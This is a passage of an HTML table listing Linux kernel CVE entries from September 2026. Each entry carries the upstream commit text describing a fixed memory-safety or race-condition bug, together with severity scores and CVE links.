stale IOTLB entries for kernel address space&quot;) IOTLB cache entries for kernel page tables have been invalidated upon being freed. Since split page tables are freed without this invalidation, the IOTLB can contain stale entries for them. Resolve the issue by using the ordinary PTE allocation API at split time. This results in these kernel page tables invoking a page table constructor, and thus requires a page table destructor. Destructors are not always present, like for early allocated direct map page tables). Conditionally call pagetable_dtor_free() if the PG_table folio flag for the ptdesc is set, otherwise we free the page table via pagetable_free(). Regardless of which path is taken page tables marked as kernel page tables, which now includes split page tables, take the correct route through pagetable_free_kernel(). There is a user-visible side effect in that split page tables will appear in nr_page_table_pages in /proc/vmstat (as do other kernel page tables allocated after early boot), however this is a positive change. This issue started being markedly problematic after commit: 5ba2f0a15564 (&quot;mm: introduce deferred freeing for kernel page tables&quot;) so choose this as the Fixes target. [ dhansen: rephrase in imperative mood ]&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97525&quot; target=&quot;_blank&quot;&gt;CVE-2026-97525&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Serialize NVMe unsol ctx list with a per-fcport lock The fcport-&amp;gt;unsol_ctx_head list is modified from several contexts without a common lock. Entries are added in qla2xxx_process_purls_iocb() from the response queue ISR (under the qpair qp_lock), while they are removed from qla2xxx_process_purls_pkt() (DPC/purex worker), qla_nvme_xmt_ls_rsp() (NVMe-FC transport callback) and qla_nvme_release_lsrsp_cmd_kref() (SRB completion). The qpair qp_lock cannot serialize this per-fcport list since multiqueue adapters add entries through different qpairs, so a concurrent add and delete (or two concurrent deletes) can corrupt the list pointers. Introduce a dedicated per-fcport spinlock, unsol_ctx_lock, initialized in qla2x00_alloc_fcport(), and take it around every list_add_tail()/list_del() on unsol_ctx_head. The add nests under the existing qp_lock; no delete path takes qp_lock, so the lock order is consistent and deadlock free.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97527&quot; target=&quot;_blank&quot;&gt;CVE-2026-97527&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Unlink NVMe unsol ctx before freeing on LS reject error qla_nvme_xmt_ls_rsp() obtains uctx, which was linked into fcport-&amp;gt;unsol_ctx_head by qla2xxx_process_purls_iocb() and is still linked when the NVMe transport calls back to transmit the LS response. On the error (out:) path the function frees uctx with kfree() but never removes it from the list. This leaves a freed node in fcport-&amp;gt;unsol_ctx_head: the next list_add_tail() for that fcport writes through the freed node, and a subsequent list_del() can corrupt the list or panic. Unlink uctx with list_del() before kfree() on the error path, matching the other free sites in qla_nvme_release_lsrsp_cmd_kref() and qla2xxx_process_purls_pkt(). qla2x00_rel_sp() in the failure path only returns the SRB to its pool and does not invoke sp-&amp;gt;put_fn, so the out: path is the sole free and uctx is always still linked there.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97528&quot; target=&quot;_blank&quot;&gt;CVE-2026-97528&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: fix heap overflow in DACL owner/group rewrite When id_mode_to_cifs_acl rewrites an existing DACL, it allocates a buffer sized according to the on-disk DACL length reported by dacl_ptr-&amp;gt;size. However, replace_sids_and_copy_aces may rewrite each ACE with a new owner/group SID obtained from the cifs.idmap upcall. Those SIDs can have up to SID_MAX_SUB_AUTHORITIES (15) sub-authorities, making each ACE up to 76 bytes (sizeof(struct smb_ace)). If the original DACL contains short SIDs (e.g., 1 sub-authority) while the replacement SIDs are long, the rewritten ACEs overflow the allocation. Fix this by always budgeting for worst-case SID expansion: allocate sizeof(struct smb_acl) plus num_aces * sizeof(struct smb_ace), which covers the smb_acl header and room for every ACE at maximum SID size. This replaces the previous split logic that used dacl_ptr-&amp;gt;size for cifsacl mounts but num_aces * sizeof(struct smb_ace) for mode_from_sid mounts: both paths can trigger the same rewrite and need the same headroom. KASAN reports this as: BUG: KASAN: slab-out-of-bounds in build_sec_desc+0x1e8a/0x2680 [cifs] Write of size 4 at addr ffff8881a5e25374 by task chown/5298 ... The buggy address is located 0 bytes to the right of allocated 884-byte region [ffff8881a5e25000, ffff8881a5e25374)&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97555&quot; target=&quot;_blank&quot;&gt;CVE-2026-97555&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bnxt_en: Bound SW TPA IDs to prevent crashes FW supports up to 1024 concurrent TPAs, so the FW TPA ID is in the range 0..1023 (see commit ec4d8e7cf024 (&quot;bnxt_en: Add TPA ID mapping logic for 57500 chips.&quot;)). bnxt_alloc_agg_idx is intended to wrap the FW ID down to a software ID which is used to index rxr-&amp;gt;rx_tpa, and to generate a mapping between FW IDs and the wrapped software ID. On a 57608 with firmware version 233, the firmware advertises 32 concurrent TPAs. As of the commit under fixes, bp-&amp;gt;max_tpa on this NIC is set to 32. If the software ID from bnxt_alloc_agg_idx is above 31, this results in an invalid address being loaded on this line: tpa_info = &amp;amp;rxr-&amp;gt;rx_tpa[agg_id]; because rx_tpa is allocated with only bp-&amp;gt;max_tpa (32) entries. Writes to tpa_info later in the code are out of bounds. This bug results in a crash at boot: Oops: general protection fault, kernel NULL pointer dereference 0x8: 0000 [#1] SMP NOPTI RIP: 0010:bnxt_rx_pkt+0xc0/0x1560 RSP: 0018:ffffc900009b8c78 EFLAGS: 00010246 RAX: 0000000000000000 RBX: 0000000000000048 RCX: 0000000206682516 RDX: ffffc900009b8db4 RSI: 0000000000000000 RDI: 01ffffff038fe1c0 RBP: ffffc9006e687480 R08: ffffc9006e687000 R09: 0000000000003048 R10: 0000000000000480 R11: ffff8881c6083900 R12: 0000000006682516 R13: ffff8881c6095400 R14: 0000000000000016 R15: ffff8881c6b66680 FS: 0000000000000000(0000) GS:ffff88fef3c77000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007fc8bda40584 CR3: 000000807c812001 CR4: 0000000008772ef0 PKRU: 55555554 Call Trace: &amp;lt;IRQ&amp;gt; ? __netif_receive_skb_list_core+0x1ca/0x250 __bnxt_poll_work+0x152/0x280 bnxt_poll_p5+0x1cd/0x480 __napi_poll+0x30/0x180 net_rx_action+0x20b/0x3b0 ? note_gp_changes+0x53/0xe0 ? tick_setup_sched_timer+0x180/0x180 ? __napi_schedule+0x9a/0xb0 ? bnxt_msix+0x24/0x30 handle_softirqs+0xdd/0x2c0 __irq_exit_rcu.llvm.3171231171502365008+0x47/0xf0 common_interrupt+0x85/0x90 &amp;lt;/IRQ&amp;gt; &amp;lt;TASK&amp;gt; asm_common_interrupt+0x22/0x40 This stack trace is from a crash triggered when an out of bounds rx_tpa is dereferenced. The invalid write mentioned above is silent in this particular crash. Fix this by allocating rx_tpa with bp-&amp;gt;max_tpa rounded up to the next power of 2 (bp-&amp;gt;max_tpa_roundup_size) entries and masking the FW TPA ID with that size, so the wrapped ID can never index past the end of the array.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97570&quot; target=&quot;_blank&quot;&gt;CVE-2026-97570&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bnxt_en: Handle buffer allocation failure in bnxt_rx_ring_reset() bnxt_rx_ring_reset() frees the ring buffers and then reallocates them, ignoring the result. bnxt_alloc_one_rx_ring() can fail in bnxt_alloc_one_tpa_info_data(), which returns -ENOMEM on the first failed allocation and leaves the remaining rxr-&amp;gt;rx_tpa[] entries zeroed. The error isn&#039;t propagated up, so the loop in bnxt_rx_ring_reset continues and at the end the code re-enables TPA with partially unallocated rx_tpa array. This means that when the agg_id from hardware is mapped to a SW index in rxr-&amp;gt;rx_tpa[], an uninitialized slot can be chosen which would hand a zero DMA address to the device. Fix this by falling back to a global reset, which is what the existing code already does when other functions fail, but unlike the other failure cases this particular failure has to return because TPA can&#039;t be re-enabled since the allocation failed.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97573&quot; target=&quot;_blank&quot;&gt;CVE-2026-97573&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: hinic: fix mailbox segment buffer overflow check_mbox_seq_id_and_seg_len() validates that seq_id does not exceed SEQ_ID_MAX_VAL (42) and seg_len does not exceed MBOX_SEG_LEN (48). However, this allows the last segment (seq_id=42) to carry a full 48-byte payload, writing to offset 42*48=2016 for 48 bytes (ending at byte 2064). The receive buffer is only MBOX_MAX_BUF_SZ (2048) bytes, resulting in a 16-byte heap buffer overflow. The hinic3 driver already handles this correctly by defining MBOX_LAST_SEG_MAX_LEN and rejecting the last segment when it exceeds the remaining buffer space. Apply the same fix to the hinic driver.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97957&quot; target=&quot;_blank&quot;&gt;CVE-2026-97957&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/rds: acquire the fastpath locks in rds_conn_shutdown() rds_conn_shutdown() quiesces the transmit and receive-refill paths by waiting for RDS_IN_XMIT and RDS_RECV_REFILL to be sampled clear, and then runs the transport shutdown and rds_conn_path_reset(). Sampling the bits clear is not the same as owning them: the moment after the wait_event() returns, rds_send_xmit() can re-acquire RDS_IN_XMIT (or rds_ib_recv_refill() can re-acquire RDS_RECV_REFILL) and run concurrently with the teardown. The sender does recheck the connection state after taking the lock, but that recheck is a classic store-buffering pattern: teardown writes the state and reads the bit while the sender writes the bit and reads the state. acquire_in_xmit() is only an acquire operation, so on weakly ordered architectures both sides can miss each other&#039;s write, and the transmit path then runs while the transport zeroes its rings (e.g. rds_ib_ring_init()) and rds_send_path_reset() rewrites the transmit state under it. Oracle UEK fixed the same class of crashes - a 14-year tail of BUG_ON()s in rds_ib_sub_signaled(), unexpected op-codes and NULL dereferences in rds_ib_send_cqe_handler() during failover testing - by making the teardown path *acquire* the fastpath bit locks instead of testing them (&quot;rds: Make sure transmit path and connection tear-down does not run concurrently&quot;). Ownership of a single word is decided by RMW atomicity, so no cross-variable ordering is needed. Do the same here: take both locks before calling the transport shutdown, hold them across rds_conn_path_reset(), and release them explicitly with a wake-up afterwards. Both are released with clear_bit_unlock(), so that the ring re-initialization done by the transport shutdown and the transmit state rewritten by rds_send_path_reset() are ordered before either bit is seen clear by the next acquire_in_xmit() or acquire_refill(). The fastpath users of these bits - rds_send_xmit() and rds_ib_recv_refill() - are trylock style and back off while teardown owns the locks, so no new lock dependency is introduced for them. rds_tcp_reset_callbacks() is different: since the previous patch it acquires RDS_IN_XMIT as well, and it blocks doing so, so its wait now spans the teardown instead of at most one send batch. That waiter runs from rds_tcp_accept_one() on the single-threaded krdsd workqueue and holds rds_tcp_accept_lock and t_conn_path_lock while it waits, so a duelling SYN accepted while its path is being torn down parks accept processing for the duration of the teardown - for TCP bounded by the (up to 5 s) drain loop in rds_tcp_conn_path_shutdown(). An IB path&#039;s drain in rds_ib_conn_path_shutdown() has no round cap, but no blocking waiter either: rds_tcp_reset_callbacks() is the only blocking acquirer of these bits and waits only on its own TCP path, and the fastpaths are trylock-and-back-off on both transports, so a long IB drain lengthens only that path&#039;s own quiesce. The window is narrow: the accept-side state check has to pass before the teardown moves the path to RDS_CONN_DISCONNECTING. Because krdsd is a single global workqueue, everything else queued there - accept processing for other connections and network namespaces, and the flush_workqueue(rds_wq) in rds_tcp_listen_stop() during namespace teardown - waits behind the parked accept worker for that time. It cannot deadlock, although the waits do point at each other: the teardown blocks until the bit&#039;s holder releases it, and the holder may be that krdsd accept worker. The holder finishes without needing anything the teardown owns: the sync cancels rds_tcp_reset_callbacks() issues target cp_send_w and cp_recv_w on the path&#039;s ordered cp_wq, whose only execution slot is occupied by the blocked cp_down_w itself, so they are pending at most and cancel without flushing - a reliance on cp_wq being ordered that is now noted next to those cancels (on ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98069&quot; target=&quot;_blank&quot;&gt;CVE-2026-98069&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/rds: acquire RDS_IN_XMIT in rds_tcp_reset_callbacks() rds_tcp_reset_callbacks() quiesces the transmit path by setting the path state to RDS_CONN_RESETTING and then waiting for RDS_IN_XMIT to be sampled clear before swapping the underlying socket and calling rds_send_path_reset(). Sampling the bit clear is not the same as owning it: rds_send_xmit() can re-acquire RDS_IN_XMIT right after the wait_event() returns. Its state recheck after taking the lock is a store-buffering pattern (the resetter writes the state and reads the bit, the sender writes the bit and reads the state) and acquire_in_xmit() is only an acquire operation, so on weakly ordered architectures both sides can miss each other&#039;s write and the transmit path then runs concurrently with rds_send_path_reset() rewriting cp_xmit_* state - which is exactly what the comment above rds_send_path_reset() tells its callers to prevent. Take the lock instead, hold it across the socket swap and rds_send_path_reset(), and release it with a wake-up at the end. The lock-ordering constraint documented above the wait still holds: the lock is acquired before lock_sock(), so a sender inside tcp_sendmsg() can never be waited on while we hold the socket lock. Two details of the old code go away with the same change: - t_sock is now read only after the lock is acquired. The old code cached it before waiting; the teardown in rds_conn_shutdown() releases that socket and clears t_sock, so a pointer cached before the wait can be stale by the time the accept path resumes. Reading it under RDS_IN_XMIT is what makes the exclusion complete once the teardown owns the same lock, which the next patch arranges; until then the teardown still only samples the bit, and the two paths remain as exposed to each other as they are today. - The old !osock early path called rds_send_path_reset() with no serialization at all. It now runs under the lock like the normal path. The conditional RDS_CONN_RESETTING transition of the previous patch happens before the socket check either way: a path found without a socket is either still connecting (its reconnect worker blocked on t_conn_path_lock) and legitimately goes RESETTING -&amp;gt; UP on the new socket, or it has been torn down meanwhile and is dropped. The in-function comment describing the old wait-based quiesce is rewritten to describe the lock-based one, and the stale block comment above the function (which still described a return value and an incomplete list of t_sock writers) is refreshed to name all four writers - the connect, accept, teardown and swap paths - and what serializes each of them.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98070&quot; target=&quot;_blank&quot;&gt;CVE-2026-98070&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: safely drain sessions during logoff SMB3 multichannel allows requests for one session to run on multiple connections. Wait for all channels bound to a session before freeing shared session objects. A deferred byte-range lock remains counted as a running request and only wakes when its file closes. Wake blocked locks during the drain without unpublishing or modifying their file objects. Synchronous CANCEL requests must invoke their cancellation callback to wake pending operations, while CHANGE_NOTIFY completion remains specific to the asynchronous path. Serialize session teardown with channel registration and previous-session cleanup, and use atomic work-state transitions so LOGOFF, CANCEL, and connection teardown invoke cancellation callbacks only once.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98115&quot; target=&quot;_blank&quot;&gt;CVE-2026-98115&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sctp: fix a TOCTOU race in SCTP_CMD_TIMER_START The SCTP_CMD_TIMER_START handler checks timer_pending() before calling timer_reduce(). The timer can expire and detach between these operations, causing timer_reduce() to rearm the timer without taking the association reference required for the newly armed timer. The timer callback later unconditionally drops its association reference, which can leave the association reference count unbalanced and result in use-after-free during association teardown. Use the return value of timer_reduce() to determine whether the timer was actually armed. Take the association reference only when timer_reduce() successfully starts a new timer, closing the race between checking the timer state and rearming it. This issue was reported by Nico Yip (@_cyeaa_) working with TrendAI Zero Day Initiative.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98130&quot; target=&quot;_blank&quot;&gt;CVE-2026-98130&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: phy: fsl-imx8mq-usb: fix typec switch leak on probe error path If probe fails after imx95_usb_phy_get_tca() succeeds, the typec switch leaks because the only cleanup path was in .remove(), which never runs on probe failure. Use devm_add_action_or_reset() so the switch is cleaned up on both probe failure and driver removal. The imx95_usb_phy_put_tca() is no longer needed, it will be removed in .remove() too.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93225&quot; target=&quot;_blank&quot;&gt;CVE-2026-93225&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: add missing read barrier to rpc_status_get dumpit seqcount retry The hand-rolled seqcount-like protocol in nfsd_nl_rpc_status_get_dumpit() is missing a read memory barrier (smp_rmb) before its second counter check. The standard kernel read_seqcount_retry() includes smp_rmb() to ensure that all data reads complete before the counter is re-checked. Without this barrier, on weakly-ordered architectures (ARM, POWER), the CPU may reorder field reads past the second counter check, making the retry logic ineffective: it could observe a consistent counter pair while reading fields that have been concurrently modified by the writer. Add smp_rmb() before the second counter check to order the field reads ahead of it, matching the barrier semantics of the standard seqcount read-side. The begin-side smp_load_acquire() already pairs with the smp_store_release() in nfsd_dispatch(); with the smp_rmb() now ordering the field reads, the retry check no longer needs acquire semantics and reads the counter with a plain READ_ONCE(), as read_seqcount_retry() does. [ cel: Use READ_ONCE instead of smp_load_acquire() ]&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93229&quot; target=&quot;_blank&quot;&gt;CVE-2026-93229&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: LoongArch: Add DIRECT_MAP_PHYSMEM_END definition get_free_mem_region() and mhp_get_pluggable_range() bound their search to DIRECT_MAP_PHYSMEM_END. LoongArch does not define it, so the fallback in include/linux/mm.h applies: under CONFIG_SPARSEMEM_VMEMMAP it is (1ULL &amp;lt;&amp;lt; MAX_PHYSMEM_BITS) - 1, a compile-time constant that does not adapt to the CPU&#039;s physical address space bits (cpu_pabits, probed from CPUCFG1). The vmemmap window only covers physical space below 2^(cpu_pabits+1) (i.e. VMEMMAP_SIZE), so on CPUs with fewer physical address bits than MAX_PHYSMEM_BITS the fallback allows get_free_mem_region() to return a ZONE_DEVICE region outside the vmemmap window; vmemmap_populate() then wraps the memmap range around and maps it into low memory, silently corrupting the page tables. The same search also picked the top-of- address-space region that crashed memmap_init_zone_device() with amdkfd on Loongson-3C6000 in 6.16 [1]; the commit 2969b42c8f99 (&quot;LoongArch/mm: align vmemmap to maximal folio size&quot;) keeps that region in bounds on current Loongson-3C6000 configs, but CPUs with smaller cpu_pabits (e.g. the Loongson-2K series) are still affected. Define DIRECT_MAP_PHYSMEM_END as the vmemmap-covered physical range, (1ULL &amp;lt;&amp;lt; (cpu_pabits + 1)) - 1, capped at (1ULL &amp;lt;&amp;lt; MAX_PHYSMEM_BITS) - 1 under CONFIG_SPARSEMEM, similar to the commit f3336b48cf9d (&quot;riscv: mm: Define DIRECT_MAP_PHYSMEM_END&quot;). [1] https://lore.kernel.org/amd-gfx/20250814032153.227285-1-jeffbai@aosc.io/&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93237&quot; target=&quot;_blank&quot;&gt;CVE-2026-93237&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vxlan: mdb: Fix use-after-free in vxlan_mdb_flush() vxlan_mdb_flush() iterates over the MDB entries using hlist_for_each_entry_safe(), which only tolerates the removal of the current entry. Contrary to the comment above the loop, the removal of an entry can trigger the removal of another entry. Flushing the remotes of a (*, G) entry also removes the (S, G) entries that were created for its source list, once they are left without remotes: vxlan_mdb_remotes_flush() -&amp;gt; vxlan_mdb_remote_del() -&amp;gt; vxlan_mdb_remote_srcs_del() -&amp;gt; vxlan_mdb_remote_src_del() -&amp;gt; vxlan_mdb_remote_src_fwd_del() -&amp;gt; __vxlan_mdb_del() -&amp;gt; vxlan_mdb_entry_put() Such an entry can be located after the (*, G) entry in the list, as vxlan_mdb_entry_get() returns an existing entry without moving it to the head of the list. This order is obtained by adding the (S, G) entry before the (*, G) entry, the latter with NLM_F_REPLACE, as the addition of the source otherwise fails with -EEXIST. The (S, G) entry is then the entry saved by hlist_for_each_entry_safe() and it is freed while the (*, G) entry is processed. The next iteration calls hlist_del() on it again, writing LIST_POISON1 to LIST_POISON2 [1]. Besides device deletion, the flush is also reachable from RTM_DELMDB with NLM_F_BULK. Fix by re-reading the next entry after the remotes were flushed. The current entry cannot be removed by this flush, as source lists can only be configured on (*, G) entries and the removed entries are (S, G) entries. It is therefore still linked and its next pointer reflects the removals. [1] BUG: KASAN: wild-memory-access in vxlan_mdb_entry_put.part.0+0x328/0x588 Write of size 8 at addr dead000000000122 by task ip/327 CPU: 3 UID: 1000 PID: 327 Comm: ip Not tainted 7.2.0-rc7 #2 PREEMPT Call trace: vxlan_mdb_entry_put.part.0+0x328/0x588 vxlan_mdb_flush+0x1d8/0x25c vxlan_mdb_fini+0x8c/0x100 vxlan_uninit+0x1c/0x7c unregister_netdevice_many_notify+0x954/0xd4c rtnl_dellink+0x210/0x530 rtnetlink_rcv_msg+0x434/0x4d0 netlink_rcv_skb+0xc4/0x204 rtnetlink_rcv+0x18/0x24 netlink_unicast+0x4b8/0x548 netlink_sendmsg+0x29c/0x560 ____sys_sendmsg+0x390/0x3ec ___sys_sendmsg+0x114/0x188 __sys_sendmsg+0xf0/0x178 __arm64_sys_sendmsg+0x48/0x60 invoke_syscall.constprop.0+0x58/0x180 el0_svc_common.constprop.0+0x74/0x140 do_el0_svc+0x30/0x40 el0_svc+0x38/0x98 el0t_64_sync_handler+0xa0/0xe4 el0t_64_sync+0x198/0x19c&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93250&quot; target=&quot;_blank&quot;&gt;CVE-2026-93250&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: powerpc/xive: propagate IPI init errors to prevent use-after-free When xive_init_ipis() fails (e.g. irq_domain_alloc_irqs() fails), the error path frees the global xive_ipis array. However, xive_smp_probe() previously ignored this failure and proceeded to call xive_setup_cpu_ipi(), which dereferences the already-freed xive_ipis pointer -- a use-after-free. Now that xive_smp_probe() returns int (previous patch), propagate the error from xive_init_ipis() and xive_setup_cpu_ipi() through xive_smp_probe(). Check the return value in both pnv_smp_probe() and pSeries_smp_probe() so that IPI setup is aborted cleanly on failure, avoiding the use-after-free.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93260&quot; target=&quot;_blank&quot;&gt;CVE-2026-93260&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: md/raid5-ppl: fix use-after-free in ppl_do_flush() The loop in ppl_do_flush() continues iterating after calling ppl_io_unit_finished(), touching io-&amp;gt;pending_flushes and leading to a use-after-free. Add a break statement to stop the loop once io is freed.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93262&quot; target=&quot;_blank&quot;&gt;CVE-2026-93262&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: PCI/pwrctrl: tc9563: Fix parsing the integrated Ethernet MAC Endpoint node DSP3 has an integrated Ethernet MAC Endpoint which has its own set of config registers for configuring settings such as ASPM. The Endpoint device has two physical functions and those two functions share the same settings. Parse the Endpoint node under DSP3 instead of parsing both functions. The existing parsing logic also has one OOB issue as parsing both functions will result in accessing past the tc9563_pwrctrl-&amp;gt;cfg array.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93265&quot; target=&quot;_blank&quot;&gt;CVE-2026-93265&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/bnxt_re: Validate udata before executing commands The destroy callbacks currently zero the udata output after tearing down driver resources. If the userspace access fails, uverbs preserves the uobject and allows the destroy callback to run again, even though the driver resource has already been freed. Call ib_no_udata_io() before teardown so udata failures are detected while the resource is still intact, then return success after teardown completes. As part of this change, move ib_respond_empty_udata() to the start of the create and modify flows. While this is not strictly required for general create flows, as the core layer unwinds uobjects on failure, it is necessary for create AH. In _rdma_create_ah(), the HW object is otherwise leaked.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93277&quot; target=&quot;_blank&quot;&gt;CVE-2026-93277&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
